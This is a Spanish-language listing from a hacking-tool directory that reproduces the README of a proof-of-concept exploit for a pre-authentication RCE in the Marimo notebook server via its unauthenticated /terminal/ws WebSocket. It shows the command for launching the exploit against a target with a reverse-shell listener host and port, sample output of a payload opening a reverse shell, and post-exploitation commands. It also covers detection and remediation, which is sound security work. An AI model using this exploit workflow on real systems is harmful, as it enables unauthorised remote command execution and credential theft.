Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-39987 — Exploit de prueba de concepto para RCE de Marimo sin autenticación previa. Utiliza el endpoint WebSocket no autenticado /terminal/ws para generar un PTY y establecer una shell reversa. | Kitploit
Herramientas/GitHubGitHub/k3ystr0k3r/cve-2026-39987
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubk3ystr0k3r/cve-2026-39987

CVE-2026-39987

Exploit de prueba de concepto para RCE de Marimo sin autenticación previa. Utiliza el endpoint WebSocket no autenticado /terminal/ws para generar un PTY y establecer una shell reversa.

Ver Repositorio
hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-39987 — RCE Pre-Autenticación en Marimo

CVE CVSS CWE Marimo

CVE-2026-39987 es una vulnerabilidad crítica de ejecución remota de código (RCE) pre-autenticación que afecta a Marimo, un entorno de notebooks Python reactivo.

La vulnerabilidad existe en el endpoint WebSocket de terminal de Marimo:

root@kitploit:~
/terminal/ws

El endpoint no aplicaba correctamente la autenticación antes de crear una sesión de terminal. Como resultado, un atacante remoto no autenticado capaz de alcanzar una instancia vulnerable de Marimo puede establecer una conexión WebSocket y obtener un shell PTY interactivo.

No se requieren credenciales válidas.


Resumen de la vulnerabilidad

PropiedadValor
CVECVE-2026-39987
ProductoMarimo
VulnerabilidadEjecución remota de código pre-autenticación
Vector de ataqueRed
AutenticaciónNo requerida
Interacción del usuarioNo requerida
CWECWE-306 — Ausencia de autenticación para función crítica
SeveridadCrítica
Versión corregida0.23.0

La vulnerabilidad fue causada por una aplicación inconsistente de la autenticación entre los endpoints WebSocket de Marimo.

Mientras que otras funcionalidades WebSocket realizan validación de autenticación, el endpoint vulnerable /terminal/ws podía aceptar una conexión sin validar primero a quien la solicitaba.


Causa raíz

El endpoint de terminal vulnerable crea un PTY interactivo después de aceptar una conexión WebSocket.

Conceptualmente, el flujo de solicitud vulnerable es:

root@kitploit:~
Cliente remoto
     |
     | Conexión WebSocket
     v
/terminal/ws
     |
     | Falta validación de autenticación
     v
WebSocket aceptado
     |
     v
PTY creado
     |
     v
Shell interactivo

El límite de seguridad importante es la falta de comprobación de autenticación.

Un endpoint que expone ejecución arbitraria de comandos no debe permitir que un cliente no autenticado alcance la lógica de creación del PTY.


Impacto

Una explotación exitosa puede proporcionar ejecución arbitraria de comandos con los privilegios del proceso de Marimo.

Dependiendo de la configuración del despliegue, esto puede permitir a un atacante:

  • Ejecutar comandos arbitrarios del sistema operativo
  • Leer archivos de la aplicación
  • Acceder a variables de entorno
  • Acceder a credenciales disponibles para el proceso de Marimo
  • Acceder a archivos montados en el contenedor
  • Moverse lateralmente hacia un entorno interno
  • Comprometer el host o contenedor subyacente cuando hay privilegios excesivos disponibles

El impacto es particularmente significativo para entornos de notebooks porque comúnmente tienen acceso a conjuntos de datos, APIs, credenciales, recursos en la nube e infraestructura de desarrollo.


Prueba de Concepto

Advertencia: Ejecute el PoC únicamente contra sistemas que le pertenezcan o para los que tenga autorización explícita de prueba.

Este repositorio contiene un PoC para demostrar la vulnerabilidad en un entorno controlado.

El ejemplo siguiente demuestra la explotación contra una instancia local/de laboratorio.

Iniciar el objetivo vulnerable

Por ejemplo:

root@kitploit:~
http://127.0.0.1:8081

La instancia vulnerable de Marimo debe estar ejecutándose antes de lanzar el PoC.


Lanzar el PoC

Ejemplo:

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:8081 \
    --host 192.168.101.130 \
    --port 5555

Donde:

root@kitploit:~
-u       Instancia objetivo de Marimo
--host   IP del listener
--port   Puerto del listener

El PoC establece la conexión de terminal vulnerable y espera la conexión de shell resultante.

Salida de ejemplo:

root@kitploit:~
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882

Demostración del shell

Después de una explotación exitosa, el atacante recibe un shell que se ejecuta con los privilegios del proceso de Marimo.

Identificar el usuario actual

root@kitploit:~
whoami

Ejemplo:

root@kitploit:~
marimo

Verificar la identidad del proceso

root@kitploit:~
id

Ejemplo:

root@kitploit:~
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

Esto demuestra que se están ejecutando comandos arbitrarios de forma remota como la cuenta marimo.


Demostración del sistema de archivos

El PoC también puede demostrar el acceso al sistema de archivos disponible para el proceso comprometido.

root@kitploit:~
ls -la

Ejemplo:

root@kitploit:~
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py

Moviéndose a la raíz del sistema de archivos:

root@kitploit:~
cd /
ls

Ejemplo:

root@kitploit:~
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace

Esto confirma que el shell remoto tiene acceso normal al sistema de archivos, sujeto a los privilegios y restricciones de contenedor del proceso de Marimo.


Cadena de explotación

La cadena completa de la vulnerabilidad se puede resumir como:

root@kitploit:~
1. El atacante descubre una instancia expuesta de Marimo
                |
                v
2. El atacante se conecta a /terminal/ws
                |
                v
3. La autenticación no se aplica
                |
                v
4. Se acepta la conexión WebSocket
                |
                v
5. Se crea el terminal PTY
                |
                v
6. El atacante obtiene ejecución de comandos
                |
                v
7. Los comandos se ejecutan como el proceso de Marimo

El fallo de seguridad crítico ocurre en el paso 3.


Detección

Los indicadores potenciales de explotación incluyen conexiones WebSocket inesperadas a:

root@kitploit:~
/terminal/ws

y actividad de procesos inusual originada en el servidor de Marimo.

Los defensores deben investigar:

  • Conexiones inesperadas al endpoint WebSocket de terminal
  • Procesos shell inesperados generados por Marimo
  • Procesos hijo sospechosos
  • Conexiones salientes inesperadas
  • Acceso a variables de entorno sensibles
  • Actividad inesperada en el sistema de archivos
  • Comandos desconocidos ejecutados por el proceso de Marimo

Remediación

Actualice Marimo a una versión corregida:

root@kitploit:~
0.23.0 o posterior

Adicionalmente:

  • No exponga Marimo directamente a Internet público a menos que sea necesario.
  • Coloque los servicios de notebooks detrás de un proxy inverso autenticado.
  • Restrinja el acceso de red a usuarios y redes de confianza.
  • Ejecute Marimo con los privilegios mínimos requeridos.
  • Evite montar directorios sensibles del host en el contenedor.
  • Rote las credenciales que puedan haber sido accesibles para instancias comprometidas.
  • Revise los registros en busca de actividad sospechosa en /terminal/ws.
  • Investigue las instancias potencialmente comprometidas en lugar de asumir que solo aplicar el parche elimina la persistencia del atacante.

Clasificación de seguridad

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severity:   Critical
Type:       Pre-Authentication RCE
Protocol:   WebSocket
Endpoint:   /terminal/ws
Auth:       None required
Fixed:      0.23.0

Referencias

  • NVD — CVE-2026-39987
  • Aviso de Seguridad de GitHub — GHSA-2679-6mx9-h9xc
  • Aviso de seguridad y parche de Marimo
  • Catálogo de Vulnerabilidades Explotadas Conocidas de CISA

Aviso legal

Este proyecto se proporciona con fines de investigación de seguridad, validación de vulnerabilidades y educación. No utilice el PoC contra sistemas que no le pertenezcan o para los que no tenga autorización explícita de prueba.

Descargar herramienta